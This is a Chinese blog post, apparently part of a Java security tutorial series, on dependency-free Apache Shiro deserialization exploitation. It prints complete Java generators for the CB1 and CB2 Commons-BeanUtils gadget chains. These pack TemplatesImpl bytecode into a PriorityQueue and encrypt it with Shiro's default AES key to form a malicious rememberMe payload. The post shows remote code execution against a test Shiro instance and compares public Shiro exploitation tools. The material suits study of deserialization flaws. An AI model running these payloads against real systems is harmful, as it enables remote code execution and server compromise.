JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

admin 2023年2月17日20:40:26评论459 views字数 11016阅读36分43秒阅读模式

    本文为JAVA安全系列文章第二十篇,主要学习shiro无依赖利用及了解常见shiro利用工具中的利用链。

0x01  CB2链

一、CB1与CB2的区别

CB2这条链是我在su18师傅改造的Ysoserial中看到的,是由CB1改造来的,可以看作是无CC依赖的CB1改造链。

CB2与CB1的区别是在创建BeanComparator对象时使用的构造器和传入参数不一样。

CB2中是这样的:

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

CB1中是这样的:

BeanComparator comparator = new BeanComparator();

或者这样的:

BeanComparator comparator = new BeanComparator("lowestSetBit");

二、CB2是CB1的无CC依赖改造链

仅是构造器不同,怎么CB2就成了无CC依赖的CB1了呢?

我们来看下BeanComparator的构造器:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

通过观察可以发现,CB1链其实是用的第二个构造器,无参构造器中传入的property为null;而第二个构造器实际上是调用了第三个构造器,当我们未指定Comparator时,会默认Comparator为ComparableComparator.getInstance()。

我们跟进看一下:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

可以看到ComparableComparator这个类在org.apache.commons.collections.comparators包中,故CB1链是依赖于commons-collections的。

那么要改造CB1使其不依赖于commons-collections那就得从创建BeanComparator时传入的Comparator做文章了,需满足下面两点:

(1)实现实现 java.util.Comparator和java.io.Serializable 接口

(2)Java或commons-beanutils自带,且兼容性强。

我们可以通过IDEA的Go to-->Implementation(s)功能去找:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

我们找到java.lang.String的静态私有内部类CaseInsensitiveComparator:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

可以看到,虽是私有内部类,但可以通过Sring的静态属性CASE_INSENSITIVE_ORDER拿到它。故只需将CB1中构造的BeanComparator对象为:

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

即可改造CB1为无CC依赖的CB2。

完整代码如下:

public class CB2 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
       byte[] code = Base64.getDecoder().decode("y...CABc=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_name", "xxx");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       setFieldValue(templates, "_bytecodes", new byte[][]{code});

       //先传入property为空,防止add时触发PropertyUtils.getProperty()
       BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

       PriorityQueue queue = new PriorityQueue(2, comparator);
       //此处应将CB1中传入的1,2改为String类型,不然会报java.lang.Integer cannot be cast to java.lang.String
       queue.add("1");
       queue.add("2");

       setFieldValue(comparator,"property","outputProperties");
       setFieldValue(queue,"queue",new Object[]{templates,templates});

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(queue);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }

   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }
}
三、CB3和CB4(留坑)

在su18师傅改造的Ysoserial中还有CB3和CB4链,但这两个链使用到了com.sun.rowset.JdbcRowSetImpl和com.sun.jndi.ldap.LdapAttribute,这涉及到了JNDI的知识,我们还没学,故此处留个坑,等学了JNDI我们再来看CB3、CB4及其相关的链。

0x02 CB1和CB2打Shiro

上面我们只是从理论上说了CB1依赖CC,CB2不依赖CC。那怎么通过实践来证明呢?

用CB1和CB2打下shiro就知道了。

一、环境准备

我们还是使用JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链一文中用到的p神的shirodemo。

为什么使用这个环境呢?

因为当我们通过maven导入需要的依赖后,会发现commons-beanutils这个依赖也加入到了项目中,也就是说shiro本身是依赖commons-beanutils的。

二、CB1打shiro-有CC

我们按照学习CCK1,CC11链时打shiro的方法来用CB1打shiro。当我们通过burp将payload发给shiro时,并未弹出计算器,而是报出如下错:

java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

原因在于生成Payload时本地的commons-beanutils为1.9.2版本,而shiro1.2.4版本中自带的commons-beanutils为1.8.3版本:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

这两个版本中BeanComparator的serialVersionUID不一样。

什么是serialVersionUID?

引用p神在《JAVA安全漫谈》中说的:

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。当然,开发者也可以手工给类赋予一个serialVersionUID 值,此时就能手工控制兼容性了。

我们将本地的commons-beanutils换为1.8.3版本就行了。

修改后生成Payload,再次发送,成功弹出计算器:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

生成Payload的完整代码如下:

public class CB1ShiroAttack_183 {
   public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {
       byte[] payloads = CB1ShiroPayload();
       AesCipherService aes = new AesCipherService();
       byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
       ByteSource ciphertext = aes.encrypt(payloads, key);
       System.out.println(ciphertext);
  }

   public static byte[] CB1ShiroPayload() throws NoSuchFieldException, IllegalAccessException, IOException {
       byte[] code = Base64.getDecoder().decode("y...c=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_name", "xxx");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       setFieldValue(templates, "_bytecodes", new byte[][]{code});

       //先传入property为空,防止add时触发PropertyUtils.getProperty()
       BeanComparator comparator = new BeanComparator();

       PriorityQueue queue = new PriorityQueue(2, comparator);
       queue.add(1);
       queue.add(2);

       setFieldValue(comparator,"property","outputProperties");
       setFieldValue(queue,"queue",new Object[]{templates,templates});

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(queue);

       return bos.toByteArray();
  }

   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }
}
三、CB1打shiro-无CC

当然,之前为了演示CC链打shiro,环境中是加入了CC依赖的,但实际场景下,目标可能并没有安装commons-collections。我们将shirodemo中的CC依赖去掉,更新Maven:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

可以看到,shiro自带的commons-beanutils中仅包含了一小部分的commons-collections。

我们重新启动环境,使用刚才的Payload再打过去,并没有弹出计算器,而是报出如下错:

org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.

原因就在于shiro中的commons-collections并没有包含ComparableComparator这个类。

四、CB2打shiro-无CC

需要注意,此时我们本地的commons-beanutils=1.8.3。

我们使用CB2生成Payload并通过burp发送,成功弹出计算器:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

生成Payload的完整代码如下:

public class CB2ShiroAttack_183 {
   public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {
       byte[] payloads = CB1ShiroPayload();
       AesCipherService aes = new AesCipherService();
       byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
       ByteSource ciphertext = aes.encrypt(payloads, key);
       System.out.println(ciphertext);
  }

   public static byte[] CB1ShiroPayload() throws NoSuchFieldException, IllegalAccessException, IOException {
       byte[] code = Base64.getDecoder().decode("y...c=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_name", "xxx");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       setFieldValue(templates, "_bytecodes", new byte[][]{code});

       //先传入property为空,防止add时触发PropertyUtils.getProperty()
       BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

       PriorityQueue queue = new PriorityQueue(2, comparator);
       //此处应将CB1中传入的1,2改为String类型,不然会报java.lang.Integer cannot be cast to java.lang.String
       queue.add("1");
       queue.add("2");

       setFieldValue(comparator,"property","outputProperties");
       setFieldValue(queue,"queue",new Object[]{templates,templates});

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(queue);

       return bos.toByteArray();
  }

   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }
}

0x03  几款shiro利用工具中的利用链

一、j1anFen shiro_attack中的利用链

j1anFen师傅的shiro_attack是一款常用的shiro利用工具

项目地址:https://github.com/j1anFen/shiro_attack/releases

最新版本为shiro_attack-2.2,看下里面的利用链有哪些:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

CB1需要commons-beanutils=1.9.2且commons-collections <=3.2.1

CC2需要commons-collections 4.0

CC3中含有长度为2的Transformer数组,通过前面CCK1,CC11的学习,可以知道在不修改tomcat启动设置的情况下无法直接用于打shiro,且有jdk版本限制,并不是一条好的利用链。

CCK1,CCK2都需要CC依赖

仅OnlyCommonsBeanutils(其实就是我们的CB2)为无依赖的利用链:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

但我通过解压jar包中,在META-INFmavencommons-beanutilscommons-beanutilspom.xml找到它使用的commons-beanutils为1.9.2版本:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

故此工具可以在有CC依赖时找到利用链;无依赖时,只能在使用了commons-beanutils=1.9.2的高版本shiro中才能找到利用链。

二、safe6Sec ShiroExp中的利用链

项目地址:https://github.com/safe6Sec/ShiroExp

看看它的利用链:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

与上一款相比多了CC4和CB183NOCC,CB192NOCC。

CC4中也有一个长度为2的Transformer数组,我不认为CC3和CC4这两条链在不修改tomcat启动设置时能用得上。

CB192NOCC就是本文的CB2,CB183NOCC就是本文的CB2ShiroAttack_183。

该项目中的commons-beanutils=1.9.2,在CB183NOCC中使用到了javassist将BeanComparator的serialVersionUID改为了-3490850999041592962L(commons-beanutils=1.8.3版中BeanComparator的serialVersionUID值):

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

此工具在CC和无依赖下都能找到利用链。

三、SummerSec ShiroAttack2

项目地址:https://github.com/SummerSec/ShiroAttack2

这款工具是j1anFen shiro_attack的改造加强版,应该是使用量最多的了,支持高版本shiro GCM加密,支持各种回显和内存马注入。

目前最新版为shiro_attack-4.5.6-SNAPSHOT-all,来看下它的利用链:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

同样有CCK1,CCK2,CC2,CC3,CB1。

CB1_183其实就是本文中的CB1ShiroAttack_183,只不过它使用到了javassist将serialVersionUID改为-3490850999041592962L

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

CBString及其相关链其实就是BeanComparator对象中的Comparator为String.CASE_INSENSITIVE_ORDER,支持CB=1.8.3和CB=1.9.2,也就是本文的CB2,CB1ShiroAttack_183,CB2ShiroAttack_183

相比于其他工具,新增定制了CBAttrCompare,CBObjectToStringComparator,CBPropertySource三条CB链。

需要说明的是,原作者的源码似乎有些问题,此处建议看su18师傅改造的Ysoserial中的源码:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

ShiroAttack2主要是对shiro进行了"定制化",有很多CB链。但碰到只能JRMP利用的场景时,也会错失一个shell。

四、wyzxxz shiro_rce_tool和feihong ShiroExploit

项目地址:https://github.com/wyzxxz/shiro_rce_tool

https://github.com/feihong-cs/ShiroExploit-Deprecated

其中shiro_rce_tool的利用链:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

ShiroExploit利用链:

JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

shiro_rce_tool可以看作是feihong ShiroExploit的加强版,feihong ShiroExploit主要是在Ysoserial中链的基础上增加了CC8-CC10,shiro_rce_tool在ShiroExploit的基础上增加了CCK1-4(个人觉得CCK3和CCK4并不适用)。

feihong和wyzxxz这两款虽然给人感觉比较"笨重",没有进行shiro的"定制化",但拥有其他几款工具没有的特点:

那就是假如目标环境中的CC和CB都不是漏洞版本,却存在其他依赖的漏洞版本,比如目标仅支持JRMP的利用方式,那就错失shell了。

0x04  总结

一、shiro主流利用链

纯CC依赖下的CCK1,CCK2,CC2,CC10/CC11

CB+CC依赖下的CB1(需CB=1.9.2),CB1ShiroAttack_183(需CB=1.8.3

无依赖利用:CB=1.9.2时有CB2;CB=1.8.3时有本文的CB2ShiroAttack_183,本文的这几条CB链在不同利用工具中叫法不一样

另外还有SummerSec ShiroAttack2中的“定制化”CB链,有些还需要其他依赖。

二、常用几款shiro利用工具对比及新工具开发思路

本文仅从利用链角度,简单比较了几款常用shiro利用工具,不能说哪款工具一定好,哪款一定不好,都各有优缺点。目前还没有一款综合了这几款工具优点的shiro利用工具开源出来。所以,在获取到shiro key但找不到利用链的情况下,多用几款工具试下。

另外,对于新工具开发的思路,其中的利用链,推荐参考su18师傅改造的Ysoserial,项目地址:https://github.com/su18/ysoserial,这里总结的链子比较齐全,我们可以去除掉一些包含非java自身数组的利用链或改造(在JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链一文中提到过,需要添加tomcat启动设置,或者设置loader才能使得tomcat加载第三方数组),进行定制化,这样就可以打造出一款更强的shiro利用工具了。

本人代码水平很菜,希望有大佬能花时间去改造,然后开源出来。(我是白嫖怪,狗头)

三、关于未分析的其他CB链

CB3,CB4以及SummerSec ShiroAttack2中的其他CB链,后续再更,CB链暂时就到此。

下一篇学习JDK7u21这条原生链。


参考:

p神《JAVA安全漫谈》


Java安全系列文集

第0篇:JAVA安全|即将开启:java安全系列文章

第1篇:JAVA安全|基础篇:认识java反序列化

第2篇:JAVA安全|基础篇:实战java原生反序列化

第3篇:JAVA安全|基础篇:反射机制之快速入门

第4篇:JAVA安全|基础篇:反射机制之Class类

第5篇:JAVA安全|基础篇:反射机制之类加载

第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用

第7篇:JAVA安全|Gadget篇:URLDNS链

第8篇:JAVA安全|Gadget篇:TransformedMap CC1链

第9篇:JAVA安全|基础篇:反射的应用—动态代理

第10篇:JAVA安全|Gadget篇:LazyMap CC1链

第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链

第12篇:JAVA安全|基础篇:动态字节码加载(一)

第13篇:JAVA安全|基础篇:动态字节码加载(二)

第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造

第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链

第16篇:JAVA安全|Gadget篇:CC5 CC7链

第17篇:JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

第18篇:JAVA安全|Gadget篇:CC8 CC9链

第19篇:JAVA安全|Gadget篇:Ysoserial CB1链


如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

原文始发于微信公众号(沃克学安全):JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月17日20:40:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析https://cn-sec.com/archives/1557235.html

发表评论

匿名网友 填写信息